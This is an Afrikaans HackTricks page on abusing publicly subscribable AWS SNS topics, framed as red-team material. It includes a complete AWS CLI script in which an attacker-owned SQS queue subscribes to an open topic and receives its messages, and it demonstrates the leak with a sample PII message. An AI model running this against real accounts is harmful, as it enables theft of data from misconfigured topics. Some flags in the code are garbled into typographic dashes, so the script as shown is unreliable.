Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Kyk na die subskripsie planne!

Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.

Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.

SNS

Vir meer inligting oor SNS sien:

AWS - SNS Enum

Oop vir almal

Wanneer jy ’n SNS topic vanaf die web console konfigureer is dit moontlik om aan te dui dat Everyone can publish and subscribe to the topic:

Dus, as jy die find the ARN of topics binne die account (of deur brute forcing van potensiële name vir topics) vind, kan jy check of jy kan publish of subscribe to them.

Dit sal gelykstaande wees aan ’n SNS topic resource policy wat sns:Subscribe aan * (of aan eksterne rekeninge) toelaat; enige principal kan ’n subscription skep wat alle toekomstige topic-berigte na ’n SQS queue wat hulle besit lewer. Wanneer die queue-eienaar die subscription inisieer, is geen menslike bevestiging vereist vir SQS endpoints nie.

Reproduksie (us-east-1)

```bash REGION=us-east-1 # Victim account (topic owner) VICTIM_TOPIC_ARN=$(aws sns create-topic --name exfil-victim-topic-$(date +%s) --region $REGION --query TopicArn --output text)

Open the topic to anyone subscribing

cat > /tmp/topic-policy.json <<JSON {“Version”:“2012-10-17”,“Statement”:[{“Sid”:“OpenSubscribe”,“Effect”:“Allow”,“Principal”:“*”,“Action”:“sns:Subscribe”,“Resource”:“$VICTIM_TOPIC_ARN”}]} JSON aws sns set-topic-attributes –region $REGION –topic-arn “$VICTIM_TOPIC_ARN” –attribute-name Policy –attribute-value file:///tmp/topic-policy.json

Attacker account (queue owner)

ATTACKER_Q_URL=$(aws sqs create-queue –queue-name attacker-exfil-queue-$(date +%s) –region $REGION –query QueueUrl –output text) ATTACKER_Q_ARN=$(aws sqs get-queue-attributes –queue-url “$ATTACKER_Q_URL” –region $REGION –attribute-names QueueArn –query Attributes.QueueArn –output text)

Allow the victim topic to send to the attacker queue

cat > /tmp/sqs-policy.json <<JSON {“Version”:“2012-10-17”,“Statement”:[{“Sid”:“AllowVictimTopicSend”,“Effect”:“Allow”,“Principal”:{“Service”:“sns.amazonaws.com”},“Action”:“sqs:SendMessage”,“Resource”:“$ATTACKER_Q_ARN”,“Condition”:{“ArnEquals”:{“aws:SourceArn”:“$VICTIM_TOPIC_ARN”}}}]} JSON aws sqs set-queue-attributes –queue-url “$ATTACKER_Q_URL” –region $REGION –attributes Policy=“$(cat /tmp/sqs-policy.json)”

SUB_ARN=$(aws sns subscribe –region $REGION –topic-arn “$VICTIM_TOPIC_ARN” –protocol sqs –notification-endpoint “$ATTACKER_Q_ARN” –query SubscriptionArn –output text)

Validation: publish and receive

aws sns publish –region $REGION –topic-arn “$VICTIM_TOPIC_ARN” –message {pii:ssn:123-45-6789} aws sqs receive-message –queue-url “$ATTACKER_Q_URL” –region $REGION –max-number-of-messages 1 –wait-time-seconds 10 –query Messages[0].Body –output text

</details>

> [!TIP]
> Leer en oefen AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Leer en oefen GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Leer en oefen Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Ondersteun HackTricks</summary>
>
> - Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
> - **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>